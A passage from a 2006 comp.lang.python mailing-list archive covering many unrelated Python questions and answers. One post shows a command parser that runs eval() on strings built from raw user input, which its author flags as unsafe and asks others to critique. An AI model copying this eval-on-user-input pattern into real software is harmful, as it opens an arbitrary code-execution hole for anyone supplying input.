(johan.h.lindberg at gmail.com) Date: 3 Oct 2006 01:21:43 -0700 Subject: app with standalone gui and web interface References: Message-ID: <1159863703.408329.274450@i3g2000cwc.googlegroups.com> Hi Daniel. > What would the simplest way to make an application that has both a web > interface and runs from behind a web server but also can be used as a > standalone app with a gui? More precisely is it possible to avoid > creating an html/xml/whatever based web interface for the web version > and separately creating a gui (wxpython for example) for the > standalone version and instead create a graphical frontend at once > that can be used for both? I was experimenting with something roughly similar a couple of years ago. You might find it interesting. What I did may or may not work in your case. It depends on what you want to be able to do in the application. I built an application that consisted of some server side Java/JSPs that gave out XML. I used two stylesheets to transform the data into either HTML (for the web version) or another XML-format called wxWML (for the wxPython version). Desktop users accessed the application via a custom "webbrowser" that translates the wxWML to wxPython code which is executed to generate the GUI. This way, anyone with the wxBrowser installed could access the application as if it was a desktop app. But you should know that this was an experiment. We ended up not using it because it felt weird and because there was not much extra gain to be had from the desktop part. You should also know that the wxBrowser is a HUGE security hole which is a good reason not to use it. You can still download the code I wrote and a "tutorial" PDF from http://www.pulp.se/wx/ but I haven't touched it since last summer so I'm not sure it works with the latest version of wxPython. Also, I just noted that the example URL that I point to on that page doesn't work because I've moved my hosting since then, but that can be fixed. Good luck Johan Lindberg johan at pulp.se From jfabiani at yolo.com Tue Oct 17 18:56:14 2006 From: jfabiani at yolo.com (johnf) Date: Tue, 17 Oct 2006 15:56:14 -0700 Subject: Python Web Site? References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com> Message-ID: "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote: > Tim Chase wrote: >>> Is there a problem with the Python and wxPython web sites? >>> I cannot seem to get them up >> >> Sounds like someone needs some pyagra... >> >> (grins, ducks, and runs) >> > > Interesting. I thought at first it was a problem with Python's sites... > but I got through to the Python site just now... but I can't get through > to the wx* sites (wxwidgets.org, wxpython.org at the very least). Seems > that my trouble with the Python web site itself was coincidental. > > -- Mike I have the problem all the time. I just wait a couple of hours and all works again. John From pinkfloydhomer at gmail.com Mon Oct 30 05:39:37 2006 From: pinkfloydhomer at gmail.com (pinkfloydhomer at gmail.com) Date: 30 Oct 2006 02:39:37 -0800 Subject: Easy PIL Question? Message-ID: <1162204777.208562.220740@f16g2000cwb.googlegroups.com> I want to do something very simple: I want to read a palette image (256 color PNG or BMP for instance), and then just to output the image data as numbers (palette indexes, I guess). Makes sense? How do I do that? /David From vedran_dekovic at yahoo.com Wed Oct 4 08:17:48 2006 From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com) Date: 4 Oct 2006 05:17:48 -0700 Subject: Where to I find files: gtk.py _gtk.py and GDK.py Message-ID: <1159964268.113477.5740@e3g2000cwe.googlegroups.com> Hello, Can you tell me where to I find exactly this files:gtk.py, _gtk.py and GDK.py I was look everywhere,and download package of gtk but I can't find this files THANKS From Bulkan at gmail.com Fri Oct 20 03:54:55 2006 From: Bulkan at gmail.com (placid) Date: 20 Oct 2006 00:54:55 -0700 Subject: BeautifulSoup problem Message-ID: <1161330895.808308.292910@i42g2000cwa.googlegroups.com> Hi all, Just wondering if anyone knows how to get the text between the tags of the following Tag object? Hello Cheers From simon at brunningonline.net Wed Oct 4 05:17:08 2006 From: simon at brunningonline.net (Simon Brunning) Date: Wed, 4 Oct 2006 10:17:08 +0100 Subject: Equal to Anything Message-ID: <8c7f10c60610040217g6f9edc60sc12318787118cf97@mail.gmail.com> For the purposes of a little test utility that we use, I need an object that evaluates as equal to anything. (I realise that this is a bad idea in some ways, breaking the equals/hashcode invariant and so forth, but I'm hoping that I can get away with it in this case.) It seems a simple enough task at first: >>> class EqualAnything(object): ... def __eq__(self, other): ... return True ... >>> spam = EqualAnything() >>> spam == 1 True >>> spam == "hello!" True >>> spam == datetime.datetime.now() True >>> 1 == spam True >>> "hello!" == spam True But... >>> datetime.datetime.now() == spam False I'm fairly sure that I know what is going on here - the left hand side object is getting first stab at the equality test, and understandably, it's saying "Nah". But is there anything that I can do about it? -- Cheers, Simon B, simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From jweida at gmail.com Wed Oct 25 09:32:56 2006 From: jweida at gmail.com (Jerry) Date: 25 Oct 2006 06:32:56 -0700 Subject: To remove some lines from a file In-Reply-To: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Message-ID: <1161783176.859081.79100@m73g2000cwd.googlegroups.com> Very inelegant, but you get the idea: counter = 0 f = open("test.txt") for line in f.readlines(): if line[0] != "$" and counter < 2: counter += 1 continue else: print line, -- Jerry From hanumizzle at gmail.com Fri Oct 6 01:38:12 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 01:38:12 -0400 Subject: help on pickle tool In-Reply-To: <1160112357.891308.200020@i42g2000cwa.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> Message-ID: <463ff4860610052238td0f390dp2b5d4bd9653d8a4f@mail.gmail.com> On 5 Oct 2006 22:25:58 -0700, Paddy wrote: > You might try picking the data with a different pickle formatter that > your Java can use. Maybe an XML pickler > (http://www.gnosis.cx/download/Gnosis_Utils.More/Gnosis_Utils-1.2.1.ANNOUNCE > untested by me). > You might also use a JSON/YAML pickler. JSON is now a subset of YAML: > http://cheeseshop.python.org/pypi/python-json/3.4 > http://pyyaml.org/wiki/PyYAML > http://jyaml.sourceforge.net/ > http://www.yaml.org/ > http://www.json.org/ > http://www.json.org/java/ Why a subset? From fredrik at pythonware.com Tue Oct 31 06:58:28 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 12:58:28 +0100 Subject: Help me understand this iterator In-Reply-To: <1162294568.168728.178270@m73g2000cwd.googlegroups.com> References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com> Message-ID: LaundroMat wrote: > Now, if I look at this script step by step, I don't understand: > - what is being iterated over (what is being called by "file in > DirectoryWalker()"?); as explained in the text above the script, this class emulates a sequence. it does this by implementing the __getindex__ method: http://effbot.org/pyref/__getitem__ > - where it gets the "index" value from; from the call to __getitem__ done by the for-in loop. > - where the "while 1:"-loop is quitted. the loop stops when the stack is empty, and pop raises an IndexError exception. note that this is an old example; code written for newer versions of Python would probably use a recursing generator instead (see the source code for os.walk in the standard library for an example). From sjmachin at lexicon.net Thu Oct 12 06:08:57 2006 From: sjmachin at lexicon.net (John Machin) Date: 12 Oct 2006 03:08:57 -0700 Subject: prefix search on a large file In-Reply-To: References: Message-ID: <1160647737.312386.37800@c28g2000cwb.googlegroups.com> js wrote: > Hello, list. > > I have a list of sentence in text files that I use to filter-out some data. > I managed the list so badly that now it's become literally a mess. > > Let's say the list has a sentence below > > 1. "Python has been an important part of Google since the beginning, > and remains so as the system grows and evolves. " > > 2. "Python has been an important part of Google" > > 3. "important part of Google" > > As you see sentence 2 is a subset of sentence 1 > so I don't need to have sentence 1 on the list. Are you 100% sure that you wnat to throw away the *longer* sentence? > (For some reason, it's no problem to have sentence 3. > Only sentence that has the "same prefix part" is the one I want to remove) > > So I decided to clean up the list. > > I tried to do this simple brute-force manner, like Please don't waste time and bandwith with "like"; post the exact code that you executed. > > --------------------------------------------------------------------------- > sorted_list = sorted(file('thelist'), key=len) > for line in sorted_list[:] # won't compile, missing a colon at end > unneeded = [ line2 for line2 in sorted_list[:] if line2.startswith(line) ] > sorted_list = list(set(sorted_list) - (unneeded)) # can't do set - list # Presuming you mean - set(unneeded), but then produces an empty list (see later). # Naming the output "sorted_list" is misleading advertising. # With sorted_list[:] in an inner loop, it's no wonder that it runs slowly. # Test your code on small samples of data and ensure that it is working correctly before you run it on huge amounts of data. # Be careful of end cases; note that in my solutions below, the first or last item needs special handling. > .... > --------------------------------------------------------------------------- > > This is so slow and not so helpful because the list is > so big(more than 100M bytes and has about 3 million lines) > and I have more than 100 lists. Here's one way of doing it, tested to the extent shown: C:\junk>type prefixdel.py from pprint import pprint as pp data = [ 'foo bar baz', 'foo bar', 'foo', 'food', 'food', # duplicate 'xyzzy', 'plugh', 'xyzzy and plugh are magic', 'zzzz', ] """ > sorted_list = sorted(file('thelist'), key=len) > for line in sorted_list[:] > unneeded = [ line2 for line2 in sorted_list[:] if line2.startswith(line) ] > sorted_list = list(set(sorted_list) - set(unneeded)) """ slist = sorted(data, key=len) print "OP trial 1 input"; pp(slist) for line in slist[:]: unneeded = [line2 for line2 in slist[:] if line2.startswith(line)] slist = list(set(slist) - set(unneeded)) print "OP trial 1 output"; pp(slist) ilist = sorted(data) print "sorted input"; pp(ilist) olist = [] for i in xrange(len(ilist)-1, 0, -1): if ilist[i].startswith(ilist[i-1]): continue olist.append(ilist[i]) olist.append(ilist[0]) print "output (keeping shorter)"; pp(olist) olist = [] for i in xrange(len(ilist)-1): if ilist[i+1].startswith(ilist[i]): continue olist.append(ilist[i]) olist.append(ilist[-1]) print "output (keeping longer)"; pp(olist) C:\junk>prefixdel.py OP trial 1 input ['foo', 'food', 'food', 'zzzz', 'xyzzy', 'plugh', 'foo bar', 'foo bar baz', 'xyzzy and plugh are magic'] OP trial 1 output [] sorted input ['foo', 'foo bar', 'foo bar baz', 'food', 'food', 'plugh', 'xyzzy', 'xyzzy and plugh are magic', 'zzzz'] output (keeping shorter) ['zzzz', 'xyzzy', 'plugh', 'food', 'foo'] output (keeping longer) ['foo bar baz', 'food', 'plugh', 'xyzzy and plugh are magic', 'zzzz'] HTH, John From sybrenUSE at YOURthirdtower.com.imagination Sun Oct 1 08:13:23 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Sun, 1 Oct 2006 14:13:23 +0200 Subject: Python/UNO/OpenOffice? References: <1159665677.378607.133720@k70g2000cwa.googlegroups.com> Message-ID: John Machin enlightened us with: > Hi, Sybren. I tried folloing your recipe on Windows with OOo 2.0 ... > > Minor problem: the executable is called soffice, not ooffice. > > Major problem: it crashed right at the start, somewhere in the maze > of dlls. That's not nice. > Has anyone managed to get further than this on Windows (XP Pro, SP > 2)? Not me - I'm not using Windows. If anyone knows more about this, please post here or post a comment at http://www.stuvel.eu/archive/31/article-about-openofficeorg-and-python so that I can improve the article. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From wahab at chemie.uni-halle.de Sun Oct 8 08:03:35 2006 From: wahab at chemie.uni-halle.de (Mirco Wahab) Date: Sun, 08 Oct 2006 14:03:35 +0200 Subject: need some regular expression help In-Reply-To: <1160297390.242124.260770@i3g2000cwc.googlegroups.com> References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> <1160258429.883224.285830@i3g2000cwc.googlegroups.com> <1160297390.242124.260770@i3g2000cwc.googlegroups.com> Message-ID: Thus spoke Diez B. Roggisch (on 2006-10-08 10:49): > Certainly true, and it always gives me a hard time because I don't know > to which extend a regular expression nowadays might do the job because > of these extensions. It was so much easier back in the old times.... Right, in perl, this would be a no-brainer, its documented all over the place, like: my $re; $re = qr{ (?: (?> [^\\()]+ | \\. ) | \( (??{ $re }) \) )* }xs; where you have a 'delayed execution' of the (??{ $re }) which in the end makes the whole a thing recursive one, it gets expanded and executed if the match finds its way to it. Above regex will match balanced parens, as in: my $good = 'a + (b / (c - 2)) * (d ^ (e+f)) '; my $bad1 = 'a + (b / (c - 2) * (d ^ (e+f)) '; my $bad2 = 'a + (b / (c - 2)) * (d) ^ (e+f) )'; if you do: print "ok \n" if $good =~ /^$re$/; print "ok \n" if $bad1 =~ /^$re$/; print "ok \n" if $bad2 =~ /^$re$/; This in some depth documented e.g. in http://japhy.perlmonk.org/articles/tpj/2004-summer.html (topic: Recursive Regexes) Regards M. From fredrik at pythonware.com Mon Oct 23 02:56:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 08:56:43 +0200 Subject: Arrays? (Or lists if you prefer) In-Reply-To: <1161586065.333264.130730@b28g2000cwb.googlegroups.com> References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> <%jV_g.7670$5i7.2617@newsreading01.news.tds.net> <453c63ea$0$4578$4fafbaef@reader2.news.tin.it> <1161586065.333264.130730@b28g2000cwb.googlegroups.com> Message-ID: Hakusa at gmail.com wrote: > What's the difference between xrange and range? range() creates a list object and fills it in up front, xrange() returns a sequence-like object that generates indexes on demand. for short loops, this difference doesn't really matter. for large loops, or if you usually don't run the loop until the end, xrange() can be more efficient. xrange() also lets you do things like: for x in xrange(sys.maxint): ... if some condition: break without running out of memory. From jjl at pobox.com Sat Oct 7 20:41:36 2006 From: jjl at pobox.com (John J. Lee) Date: Sun, 08 Oct 2006 00:41:36 GMT Subject: Names changed to protect the guilty References: Message-ID: <877izb1vwe.fsf@pobox.com> aahz at pythoncraft.com (Aahz) writes: > The following line of lightly munged code was found in a publicly > available Python library... > > if schema.elements.has_key(key) is False: > > Sorry, just had to vent. I think I was reading the same code recently (epydoc?) and was also momentarily horrified ;-) until I realized that it was quite deliberately using three-valued logic (True, False, None) for some presumably-sensible reason. Since None is false, they had to use "is". So, given the need for three-valued logic, it's not as silly as it looks. John From Matthew.Warren at Digica.com Wed Oct 11 05:20:03 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Wed, 11 Oct 2006 10:20:03 +0100 Subject: Bad Code (that works) help me re-write! Message-ID: I have the following piece of code, taken from a bigger module, that even as I was writing I _knew_ there were better ways of doing it, using a parser or somesuch at least, but learning how wasn't as fun as coding it... And yes alarm bells went off when I found myself typing eval(), and I'm sure this is an 'unusual' use of for: else: . And I know it's not very robust. As an ex cuse/planation, this is what happens when you get an idea in your head and code it until it works, rather than doing any kind of planning / designing first :) I have a file that indicates the syntax of commands. User input is checked against this file until it matches one of the lines in the file. Then the indicated commands are run. I think what I have ended up doing is writing a kind of a brute-force parser for the file format I have defined. The trouble is, I'm sure there are much more 'agile' and 'elegant' ways of achieveing this, and also getting rid of eval() ! I'm posting here in the hope that it will criticised, laughed at, picked apart and hence I shall learn a bit about python and how to do this properly :) The code follows, followed by the file defining the syntax of commands. import re def dbg(Msg,Fn): try: if (TRACE[Fn] or TRACE["ALL"]): print 'DBG:'+Fn+': '+Msg except KeyError: pass def processsubstitutions(RawCmd): DBGBN='processsubstitutions' infprotect=1 subhit=1 while subhit==1: subhit=0 for sub in Substitutions: SubCheck=RawCmd RawCmd=re.sub('~'+sub,' '.join(Substitutions[sub]),RawCmd) if SubCheck!=RawCmd: #dbg('Made Substitution '+sub+' to get '+RawCmd,DBGBN) subhit=1 infprotect=infprotect+1 if infprotect>100: return "ERROR: Infinitely deep substitution levels detected." return RawCmd # #...processcommand is called with a string entered by the user. # def processcommand(Command): DBGBN='processcommand' dbg('Before Substitution: '+Command,DBGBN) Command=processsubstitutions(Command) # if ! aliascmd then flow is, RawCmd->subbed->executed # is IS aliascmd then flow is RawCmd->Subbed->aliashit->subbed->executed dbg('After Substitution: '+Command,DBGBN) AliasHit=0 CommandHit=0 SplitCmd=Command.split() SplitLen=len(SplitCmd) Cmd=SplitCmd[0] InEtcRun=0 Error=0 CommandDefs=file(installroot+'FatControllerCommands.sav','r') for Def in CommandDefs: dbg("Scanning cdef ::"+Def,DBGBN) if Def!='ENDCOMMANDDEFS': DefTokens=Def.split() ctr=0 for Token in DefTokens: dbg("Doing token "+Token,DBGBN) if re.search('input:',Token): if SplitLen>ctr: dbg("Is an input tag. ValExp=",DBGBN) ValidateExpression=Token.replace('input:','').replace('<<',SplitCmd[ctr] ).replace('::SPACE::',' ') dbg(ValidateExpression,DBGBN) else: Error=1 ErrorText='Error: Missing parameter.' break if not eval(ValidateExpression):##NOT SAFE NOT SAFE. Need to come up with entirely new ##way to do all this Error=1 ErrorText='Error: Parameter incorrect.' break elif re.search('create:',Token): CreateExpression=Token.replace('create:','').replace('::SPACE::',' ') elif Token!='+*': if ctr>=SplitLen: Error=1 ErrorText='Error: Bad command.' break if Token!=SplitCmd[ctr]: Error=1 ErrorText='Error: Bad command.' break ctr+=1 CommandHit=1 else: #{EndOf for Token} all tokens found for else eval(CreateExpression) break else: #{EndOf for Def} Check aliases for AliasName in Aliases: if Cmd==AliasName: #then, make cmdstring alias cmd string and re-process AliasCmd=' '.join(Aliases[AliasName]) AliasHit=1 dbg('Made alias hit to get '+AliasCmd,DBGBN) break else: #FOR loop else not an alias, so try execute as last entity command if not CommandHit: global LastExecutedEntity if LastExecutedEntity!='': #global LastExecutedEntity EntityManager.execute(LastExecutedEntity,SplitCmd[0:]) else: print '\nError: Dont know which entity to use.\n' else: print '\nError: Bad command.\n' if AliasHit==1: AliasHit=0 CommandDefs.close() processcommand(AliasCmd) CommandDefs.close() .....now the file. First I will explain what is in it; The 'grammar'? Or file format I have defined is as follows. The aim is to specify the syntax of commands that are then checked against user input until a match is found, then eval() is used to call the function given in the file. (bad I know) There are sveral tokens in the file, this is what they mean Input:(some condition, possibly containing '<<') - Whatever the user has entered in this field replaces '<<' the resulting code must eval to True. Create:(function call using SplitCmd[]) - eval is used if user input has matched the line to make the given function call, SplitCmd is a list of the lines values. +* indicates the user could enter any number of any parms , these are handled by the code executed via the create: token. ....simple huh? Here's the file 'FatControllerCommands.sav' (some lines are long, turn off wrapping): alias input:'<<'!='' +* create:definealias(SplitCmd[1],SplitCmd[2:]) define entity input:not(EntityManager.isEntity('<<')) input:'<<'!='' +* create:EntityManager.define(SplitCmd[2],SplitCmd[3:]) def entity input:not(EntityManager.isEntity('<<')) input:'<<'!='' +* create:EntityManager.define(SplitCmd[2],SplitCmd[3:]) delete entity input:EntityManager.isEntity('<<') create:EntityManager.delete(SplitCmd[2]) del entity input:EntityManager.isEntity('<<') create:EntityManager.delete(SplitCmd[2]) delete alias input:isalias('<<') create:delalias(SplitCmd[2]) del alias input:isalias('<<') create:delalias(SplitCmd[2]) delete substitution input:issubstitute('<<') create:delsubstitution(SplitCmd[2]) delete sub input:issubstitute('<<') create:delsubstitution(SplitCmd[2]) del substitution input:issubstitute('<<') create:delsubstitution(SplitCmd[2]) del sub input:issubstitute('<<') create:delsubstitution(SplitCmd[2]) execute input:EntityManager.isEntity('<<') input:'<<'!='' +* create:EntityManager.execute(SplitCmd[1],SplitCmd[2:]) exec input:EntityManager.isEntity('<<') input:'<<'!='' +* create:EntityManager.execute(SplitCmd[1],SplitCmd[2:]) x input:EntityManager.isEntity('<<') input:'<<'!='' +* create:EntityManager.execute(SplitCmd[1],SplitCmd[2:]) exit create:sys.exit(0) quit create:sys.exit(0) help create:displayhelp() load input:'<<'!='' create:load(SplitCmd[1]) save input:'<<'==('all') input:not(00) create:save(SplitCmd[1],SplitCmd[2]) show entities create:EntityManager.show() show aliases create:showaliases() show substitutions create:showsubstitutions() show subs create:showsubstitutions() show daemons create:showdaemons() substitute input:'<<'!='' create:definesubstitution(SplitCmd[1],SplitCmd[2:]) sub input:'<<'!='' create:definesubstitution(SplitCmd[1],SplitCmd[2:]) trace input:'<<'!='' create:toggletrace(SplitCmd[1]) set input:'<<'!='' input:'<<'!='' input:'<<'!='' +* create:SetOption(SplitCmd[1],SplitCmd[2],'::SPACE::'.join(SplitCmd[3:])) show options create:displayopts() define daemon input:'<<'!='' create:createdaemon(SplitCmd[2]) def daemon input:'<<'!='' create:createdaemon(SplitCmd[2]) define schedule input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5]) define sched input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5]) def schedule input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5]) def sched input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5]) define task input:IsDaemon('<<') input:'<<'!='' +* create:adddaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:]) define collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' create:adddaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitC md[5],SplitCmd[6],SplitCmd[7],SplitCmd[8]) subscribe entity input:IsDaemon('<<') input:'<<'!='' input:EntityManager.isEntity('<<') create:adddaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4]) subs entity input:IsDaemon('<<') input:'<<'!='' input:EntityManager.isEntity('<<') create:adddaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4]) def task input:IsDaemon('<<') input:'<<'!='' +* create:adddaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:]) def collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' create:adddaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitC md[5],SplitCmd[6],SplitCmd[7],SplitCmd[8]) def alert input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' create:adddaemontaskcollectoralert(SplitCmd[2],SplitCmd[3],SplitCmd[4],S plitCmd[5],SplitCmd[6],'::SPACE::'.join(SplitCmd[7:])) define alert input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!='' create:adddaemontaskcollectoralert(SplitCmd[2],SplitCmd[3],SplitCmd[4],S plitCmd[5],SplitCmd[6],'::SPACE::'.join(SplitCmd[7:])) delete daemon input:IsDaemon('<<') create:removedaemon(SplitCmd[2]) del daemon input:IsDaemon('<<') create:removedaemon(SplitCmd[2]) delete task input:IsDaemon('<<') input:'<<'!='' create:removedaemontask(SplitCmd[2],SplitCmd[3]) del task input:IsDaemon('<<') input:'<<'!='' create:removedaemontask(SplitCmd[2],SplitCmd[3]) update task input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' create:updatedaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:]) upd task input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' create:updatedaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:]) delete collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' create:removedaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4]) del collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' create:removedaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4]) unsubscribe entity input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' create:removedaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4]) unsub entity input:IsDaemon('<<') input:'<<'!='' input:'<<'!='' create:removedaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4]) activate daemon input:IsDaemon('<<') create:makedaemonlive(SplitCmd[2]) act daemon input:IsDaemon('<<') create:makedaemonlive(SplitCmd[2]) show active daemons create:showactivedaemons() deactivate daemon input:IsDaemon('<<') create:killdaemon(SplitCmd[2]) deac daemon input:IsDaemon('<<') create:killdaemon(SplitCmd[2]) alerts create:showalertqueue() handle input:'<<'!='' input:'<<'!='' create:handlealertrange(int(SplitCmd[1]),int(SplitCmd[2])) addline input:'<<'!='' +* create:appendtoscript(SplitCmd[1],SplitCmd[2:]) insline input:'<<'!='' input:'<<'!='' +* create:inserttoscript(SplitCmd[1],SplitCmd[2],SplitCmd[3:]) delline input:'<<'!='' input:'<<'!='' create:delfromscript(SplitCmd[1],SplitCmd[2]) run input:isScript('<<') +* create:runscript(SplitCmd[1],SplitCmd[2:]) delete script input:'<<'!='' create:delscript(SplitCmd[2]) del script input:'<<'!='' create:delscript(SplitCmd[2]) show script input:'<<'!='' create:showscripts(SplitCmd[2]) show scripts create:showscripts('all') message input:'<<'!='' +* create:message(SplitCmd[1:]) msg input:'<<'!='' +* create:message(SplitCmd[1:]) ENDDCOMMANDDEFS Thankyou for your time pythoners, any suggestions / comments are much appreciated. Matt. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From richardjones at optushome.com.au Fri Oct 6 19:34:45 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Sat, 07 Oct 2006 09:34:45 +1000 Subject: ctypes and setjmp References: <45259596$0$32011$afc38c87@news.optusnet.com.au> Message-ID: <4526e815$0$5105$afc38c87@news.optusnet.com.au> Thomas Heller wrote: > Richard Jones schrieb: >> Currently ctypes can't play well with any C code that requires use of >> setjmp as part of its API. >> >> libpng is one of those libraries. >> >> Can anyone think of a reasonable solution to this? Perhaps ctypes might >> be patched to offer setjmp support in foreign function definitions? >> >> >> Richard >> > I didn't know that setjmp/longjmp is actually used by production libraries > for error handling. To be honest, I didn't even know what setjmp/longjmp *were* until I hit its use in libpng, and I've been programming C for over a decade now ;) > How is this pattern used in C? Do you call setjump() before each api > call, or do you call setjump once, and then do all the api calls? I believe you call setjmp just before calling the API function in question. > What do you do when setjmp() returns != 0? I'd say that in ctypes land you'd have to provide a function to call in that situation. ctypes would call that function and then continue on. It's up to that function to raise an exception or otherwise flag the error. So in rough terms, you'd have ctypes do: if (error_handler != NULL) r = 0; else r = setjmp(); if (r == 0) api_call(); if (r == 1) error_handler(); > For ctypes, the only solution I can think of is to invent a new calling > convention, which will call setjmp() first internally before calling the > libpng api function... Yeah, that's what I figured. Richard From Leo.Kislov at gmail.com Mon Oct 30 02:42:48 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 29 Oct 2006 23:42:48 -0800 Subject: Lookuperror : unknown encoding : utf-8 References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> Message-ID: <1162194168.044962.262720@b28g2000cwb.googlegroups.com> Sachin Punjabi wrote: > Hi, > > I wanted to read a file encoded in utf-8 and and using the following > syntax in my source which throws me an error specifying Lookuperror : > unknown encoding : utf-8. Also I am working on Python version 2.4.1. > > import codecs > fileObj = codecs.open( "data.txt", "r", "utf-8" ) > > Can anyone please guide me how do I get utf-8 activated in my codecs or > any setting needs to be done for the same before using codecs. What OS? Where did you get your python distribution? Anyway, I believe utf-8 codec was in the python.org distribution since the introduction of unicode (around python 2.0). If you can't use utf-8 codec right out of the box, something is really wrong with your setup. -- Leo From pecora at anvil.nrl.navy.mil Tue Oct 17 14:24:26 2006 From: pecora at anvil.nrl.navy.mil (Lou Pecora) Date: Tue, 17 Oct 2006 14:24:26 -0400 Subject: pylab package dependencies References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: In article , Robert Kern wrote: > > > > Is pylab part of matplotlib? > > Yes. > > > I always thought it was the other way > > around. I have a similar view of numpy as part of scipy. > > It is not. > > > Maybe I'm > > confused on the dependencies. I find it confusing in the examples > > sometimes when the "bigger" package is imported (e.g. scipy) and then a > > "subpackage" is also imported. Like this: > > > > from scipi import * > > from scipi import numpy > > The latter would definitely be bad form if it worked. numpy is a package all > by > itself and should be imported by itself. > > > I know I've seen stuff like that, but I don't get it. The dependencies > > are confusing to me. > > pylab is a module provided with matplotlib that exposes a nice interface for > certain purposes. Somewhat confusingly, it is provided in two places, as its > own > module: > > import pylab > > and as a submodule in the matplotlib package: > > from matplotlib import pylab > > Both do the same thing. You get to ask John Hunter if you want to know the > whys > and wherefores. [cut] Got it. Thanks, Robert, for the quick tutorial. It's a lot clearer now. Now, to just remember it. By the way, from what I have seen so far they are beautiful packages. The only problem I'm having is getting ipython to run. Not installed in /usr/local/bin (although all other IPython files look to be installed in /Library/Framewaorks/python...blah/site-packages). I'm still searching the web sites for answers. But all else seems to run pretty smoothly. -- Lou Pecora (my views are my own) REMOVE THIS to email me. From bborcic at gmail.com Wed Oct 18 12:03:09 2006 From: bborcic at gmail.com (Boris Borcic) Date: Wed, 18 Oct 2006 18:03:09 +0200 Subject: Dictionaries In-Reply-To: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> Message-ID: <4536506d$1_4@news.bluewin.ch> dict(a.items() + b.items()) Lad wrote: > How can I add two dictionaries into one? > E.g. > a={'a:1} > b={'b':2} > > I need > > the result {'a':1,'b':2}. > > Is it possible? From onurb at xiludom.gro Mon Oct 9 07:01:55 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 09 Oct 2006 13:01:55 +0200 Subject: Bizzare lst length problem In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> Message-ID: <452a2c23$0$13108$426a74cc@news.free.fr> Ben wrote: > Ah... my list is a string. That explains the len() results, but not why > it is a string in the dirst place. > > I have a dictionary containing a number of instances of the following > class as values: > > class panel: > mops =[] This one is a class attribute - it's shared between all instances of panel. > def __init__(self,number,level,location,mops,matrix): > self.number=number > self.level=level > self.location=location > self.mops=mops And here, you create an instance attribute with the same name, that will shadow the class attribute. > self.matrix=matrix > > > abve mops is a list, yet when I access it it is a string... the class attribute 'mops' is a list. The 